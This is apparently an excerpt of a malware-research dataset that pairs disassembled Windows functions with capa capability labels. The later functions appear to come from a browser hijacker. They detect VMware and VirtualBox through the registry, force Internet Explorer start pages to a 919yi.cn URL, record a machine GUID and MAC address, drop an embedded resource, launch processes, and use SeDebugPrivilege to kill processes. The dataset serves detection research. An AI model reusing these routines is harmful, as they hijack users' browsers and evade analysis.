joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44cca4
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x475190]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x44ccef
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0044ce3f
test al, al
jne 0x44cce9
sub edx, 2
cmp edx, edi
jne 0x44cccf
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x44cd11
lea eax, [edi + 2]
cmp edx, eax
je 0x44cd11
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0044cbf0
add esp, 0x10
jmp 0x44ce0b
push esi
lea ecx, [ebp - 0x255]
call fcn.0044ce3f
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x44cd54
push dword [ebp - 0x25c]
jmp 0x44cd01
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x44cd91
cmp word [ebp - 0x226], 0
je 0x44cdb2
cmp word [ebp - 0x226], ax
jne 0x44cd91
cmp word [ebp - 0x224], 0
je 0x44cdb2
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0044cbf0
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x44cdfe
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x44cd6b
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x44cde6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x44ce0b
push 0x44ca20
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00453240
add esp, 0x10
jmp 0x44cddb
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041355f
leave
ret

Function at 0x44d724
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x44d735
pop esi
ret
push ebx
push edi
push esi
call fcn.0044d6ed
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0044602a
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x44d75d
push ebx
push esi
push edi
call fcn.00430370
add esp, 0xc
push 0
call fcn.00445ff0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x44db2d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044d772
Function at 0x44fed3
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00445ca8
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x44ff42
cmp esi, dword [ebp - 4]
je 0x44ff3d
cmp dword [ebp + 0xc], 0
je 0x44ff3d
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x44ff1a
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0044fa25
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x44ff44
xor eax, eax
inc eax
jmp 0x44ff44
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x44ffa9
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x475190]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.00445ca8
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.00445ca8
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x450020
cmp word [ecx], dx
je 0x450020
mov eax, dword [0x465c8c]
push edi
dec eax
push eax
push 0x465b78
call fcn.0044ff48
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x450093
cmp word [eax], dx
je 0x450093
mov eax, dword [edi]
test eax, eax
je 0x450044
cmp word [eax], dx
je 0x450044
lea eax, [ebp - 0x10]
push eax
call fcn.0044f92b
jmp 0x45004d
lea eax, [ebp - 0x10]
push eax
call fcn.0044f9c6
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4500bd
mov eax, dword [0x465b74]
push dword [ebp - 0x14]
dec eax
push eax
push 0x465868
call fcn.0044ff48
add esp, 0xc
test al, al
je 0x4500bd
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x450088
cmp word [eax], di
je 0x450088
lea eax, [ebp - 0x10]
push eax
call fcn.0044f92b
pop ecx
jmp 0x4500bf
lea eax, [ebp - 0x10]
push eax
call fcn.0044f9c6
jmp 0x450085
mov eax, dword [edi]
test eax, eax
je 0x4500aa
cmp word [eax], dx
je 0x4500aa
lea eax, [ebp - 0x10]
push eax
call fcn.0044f8e0
pop ecx
jmp 0x4500bd
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x450188
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0044fdcd
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x450188
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x450188
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x450188
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x450115
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0044850a
test ebx, ebx
je 0x450183
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0044850a
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x450188
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x450188
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.00453af9
add esp, 0x10
xor eax, eax
inc eax
jmp 0x45018a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041355f
leave
ret
Function at 0x401d60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x25c], ax
lea eax, [ebp - 0x25a]
push eax
mov dword [ebp - 0x260], 1
mov dword [ebp - 0x264], 0x12c
call fcn.0040c090
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x260]
push eax
push 0x41ea1c
push str.SYSTEMControlSet001ControlClass4D36E968_E325_11CE_BFC1_08002BE103180000
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x401de3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
mov ecx, str.VMware__Inc.
lea eax, [ebp - 0x25c]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e16
test dx, dx
je 0x401e12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e16
add eax, 4
add ecx, 4
test dx, dx
jne 0x401df0
xor eax, eax
jmp 0x401e1b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401e32
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
mov ecx, str.Oracle_Corporation
lea eax, [ebp - 0x25c]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401e66
test dx, dx
je 0x401e62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401e66
add eax, 4
add ecx, 4
test dx, dx
jne 0x401e40
xor ecx, ecx
jmp 0x401e6b
sbb ecx, ecx
or ecx, 1
xor eax, eax
test ecx, ecx
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
Function at 0x401e80
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41795b
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
test edi, edi
je 0x402061
test esi, esi
je 0x402061
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x266]
push eax
call fcn.0040c090
add esp, 0xc
lea eax, [ebp - 0x268]
push esi
push edi
push str.jiuyisecretsid_sm_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x268]
push eax
lea ecx, [ebp - 0x280]
call fcn.004032c0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
call fcn.004048b0
mov edx, eax
cmp word [edx], 0
jne 0x401f36
xor ecx, ecx
jmp 0x401f4f
mov ecx, edx
lea ebx, [ecx + 2]
jmp 0x401f40
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401f40
sub ecx, ebx
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x280]
call fcn.00403420
push 0x258
lea eax, [ebp - 0x268]
push 0
push eax
call fcn.0040c090
add esp, 0xc
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
push esi
push edi
lea eax, [ebp - 0x268]
push str.http:__www.919yi.cn__id_sm_ssM_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x268]
add esp, 0x14
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x401fa7
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueW]
sub edi, ecx
sar edi, 1
lea eax, [ebp - 0x268]
lea edi, [edi*2 + 2]
push edi
push eax
push 1
push str.IEHome
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SoftwarePoliciesMicrosoftInternet_ExplorerMain
push SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
push edi
lea eax, [ebp - 0x268]
push eax
push 1
push str.Start_Page
push str.SOFTWAREPoliciesMicrosoftInternet_ExplorerMain
push reloc.OLEAUT32.dll_SysReAllocString
call esi
cmp dword [ebp - 0x26c], 8
jb 0x402061
push dword [ebp - 0x280]
call fcn.00408a8d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
Function at 0x402080
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x425dac]
push esi
test al, 1
jne 0x4020ce
or eax, 1
mov dword [0x425dac], eax
xor eax, eax
push 0x417e20
mov dword [0x425fec], 7
mov dword [0x425fe8], 0
mov word [0x425fd8], ax
call fcn.00408a49
add esp, 4
lea eax, [ebp - 0x49c]
push eax
lea eax, [ebp - 0x498]
push eax
mov dword [ebp - 0x49c], 0
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x40213e
push dword [ebp - 0x49c]
call fcn.00408bea
mov esi, eax
add esp, 4
test esi, esi
je 0x40213e
lea eax, [ebp - 0x49c]
push eax
push esi
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x40213e
cmp dword [esi + 0x1a0], 6
jne 0x402138
lea eax, [esi + 0x10c]
push str.Bluetooth
push eax
call fcn.00408c80
add esp, 8
test eax, eax
je 0x402152
mov esi, dword [esi]
test esi, esi
jne 0x402117
mov eax, str.ERROR_MAC
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.0040c090
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
lea eax, [ebp - 0x210]
push 0x41edc0
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x2c
lea eax, [ebp - 0x210]
mov esi, 0x425fd8
push eax
mov ecx, esi
call fcn.004033d0
cmp dword [0x425fec], 8
mov ecx, dword [ebp - 4]
cmovae esi, dword [0x425fd8]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.004082c3
mov esp, ebp
pop ebp
ret
Function at 0x402700
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x478
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x460], ax
lea eax, [ebp - 0x45e]
push eax
mov dword [ebp - 0x474], 1
mov dword [ebp - 0x478], 0x100
call fcn.0040c090
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x208], ax
lea eax, [ebp - 0x206]
push eax
call fcn.0040c090
add esp, 0x18
lea eax, [ebp - 0x478]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x474]
push eax
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
lea eax, [ebp - 0x208]
lea ecx, [ebp - 0x460]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x4027bc
test dx, dx
je 0x4027b8
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x4027bc
add ecx, 4
add eax, 4
test dx, dx
jne 0x402796
xor eax, eax
jmp 0x4027c1
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4028a1
lea eax, [ebp - 0x470]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x4028a1
push 0x256
push eax
mov word [ebp - 0x260], ax
lea eax, [ebp - 0x25e]
push eax
call fcn.0040c090
movzx eax, byte [ebp - 0x461]
push eax
movzx eax, byte [ebp - 0x462]
push eax
movzx eax, byte [ebp - 0x463]
push eax
movzx eax, byte [ebp - 0x464]
push eax
movzx eax, byte [ebp - 0x465]
push eax
movzx eax, byte [ebp - 0x466]
push eax
movzx eax, byte [ebp - 0x467]
push eax
movzx eax, byte [ebp - 0x468]
push eax
movzx eax, word [ebp - 0x46a]
push eax
movzx eax, word [ebp - 0x46c]
push eax
push dword [ebp - 0x470]
lea eax, [ebp - 0x260]
push str._08X_04X_04x_02X_02X_02X_02X_02X_02X_02X_02X
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [ebp - 0x260]
add esp, 0x40
lea edx, [ecx + 2]
jmp 0x402870
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402870
sub ecx, edx
sar ecx, 1
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0x260]
push eax
push 1
push str.9E_PID
push str.SOFTWARE9ENetwork
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
Function at 0x402930
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x417928
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 8]
push eax
movzx eax, dx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
push 0x80
push 4
push 0
push 3
push 0x40000000
push dword [ebp - 0x34]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea ecx, [ebp - 0x30]
push ecx
push edi
push esi
push eax
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402a20
push 0x1f
push str.9eError:mReleaseRes__WriteFile
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], eax
mov word [ebp - 0x2c], ax
call fcn.00403420
push dword [ebp - 0x34]
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], 0
call fcn.00403950
add esp, 4
lea ecx, [ebp - 0x2c]
push eax
call fcn.00403320
cmp dword [ebp - 0x3c], 8
jb 0x402a0f
push dword [ebp - 0x50]
call fcn.00408a8d
add esp, 4
cmp dword [ebp - 0x18], 8
jb 0x402a20
push dword [ebp - 0x2c]
call fcn.00408a8d
add esp, 4
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
Function at 0x402a60
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41786b
mov eax, dword fs:[0]
push eax
sub esp, 0x2ec
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
push 0x40
lea eax, [ebp - 0x2c8]
push 0
push eax
call fcn.0040c090
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x29c], ax
mov word [ebp - 0x26c], ax
lea eax, [ebp - 0x26a]
xorps xmm0, xmm0
push eax
mov dword [ebp - 0x2dc], 0
movq qword [ebp - 0x2d8], xmm0
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2cc], 0x44
mov dword [ebp - 0x2a0], 1
call fcn.0040c090
mov ecx, edi
add esp, 0x18
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402b00
sub ecx, edx
sar ecx, 1
push ecx
push edi
lea eax, [ebp - 0x26c]
push 0x12c
push eax
call fcn.00408b2c
add esp, 0x10
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x2cc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x26c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402bd1
push 0x14
push str.9eError:CretateProc
lea ecx, [ebp - 0x284]
mov dword [ebp - 0x270], 7
mov dword [ebp - 0x274], eax
mov word [ebp - 0x284], ax
call fcn.00403420
push edi
lea edx, [ebp - 0x284]
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 4], 0
call fcn.00403950
add esp, 4
lea ecx, [ebp - 0x284]
push eax
call fcn.00403320
cmp dword [ebp - 0x2e0], 8
jb 0x402bba
push dword [ebp - 0x2f4]
call fcn.00408a8d
add esp, 4
cmp dword [ebp - 0x270], 8
jb 0x402bd1
push dword [ebp - 0x284]
call fcn.00408a8d
add esp, 4
cmp esi, 0xfa1
je 0x402be6
push esi
push dword [ebp - 0x2d8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
Function at 0x402c10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41782b
mov eax, dword fs:[0]
push eax
sub esp, 0x2e8
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
push 0x40
lea eax, [ebp - 0x2c4]
push 0
push eax
call fcn.0040c090
xor eax, eax
push 0x256
push eax
mov word [ebp - 0x298], ax
mov word [ebp - 0x268], ax
lea eax, [ebp - 0x266]
xorps xmm0, xmm0
push eax
mov dword [ebp - 0x2d8], 0
movq qword [ebp - 0x2d4], xmm0
mov dword [ebp - 0x2cc], 0
mov dword [ebp - 0x2c8], 0x44
mov dword [ebp - 0x29c], 1
call fcn.0040c090
mov ecx, esi
add esp, 0x18
lea edx, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402cb0
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea eax, [ebp - 0x268]
push 0x12c
push eax
call fcn.00408b2c
add esp, 0x10
lea eax, [ebp - 0x2d8]
push eax
lea eax, [ebp - 0x2c8]
push eax
push edi
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x268]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402d80
push 0x14
push str.9eError:CretateProc
lea ecx, [ebp - 0x280]
mov dword [ebp - 0x26c], 7
mov dword [ebp - 0x270], eax
mov word [ebp - 0x280], ax
call fcn.00403420
push esi
lea edx, [ebp - 0x280]
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 4], 0
call fcn.00403950
add esp, 4
lea ecx, [ebp - 0x280]
push eax
call fcn.00403320
cmp dword [ebp - 0x2dc], 8
jb 0x402d69
push dword [ebp - 0x2f0]
call fcn.00408a8d
add esp, 4
cmp dword [ebp - 0x26c], 8
jb 0x402d80
push dword [ebp - 0x280]
call fcn.00408a8d
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004082c3
mov esp, ebp
pop ebp
ret
Function at 0x402da0
Capabilities:
Acquire debug privileges
Enumerate processes
Print debug messages
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x4223fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402dd9
push str._fProcessMonitor_:_INVALID_HANDLE_VALUE
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor esi, esi
jmp 0x402edb
lea eax, [ebp - 0x250]
push eax
push esi
mov dword [ebp - 0x250], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov ebx, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ecx]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x22c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x402e37
test dx, dx
je 0x402e33
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x402e37
add eax, 4
add ecx, 4
test dx, dx
jne 0x402e11
xor eax, eax
jmp 0x402e3c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x402ec2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402ea6
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call ebx
test eax, eax
je 0x402ea1
mov eax, dword [ebp - 0xc]
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x20]
call edi
push dword [ebp - 0x248]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402e00
lea esi, [eax + 1]
cmp dword [ebp + 0x1c], 8
jb 0x402eec
push dword [ebp + 8]
call fcn.00408a8d
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004082c3
mov esp, ebp
pop ebp
ret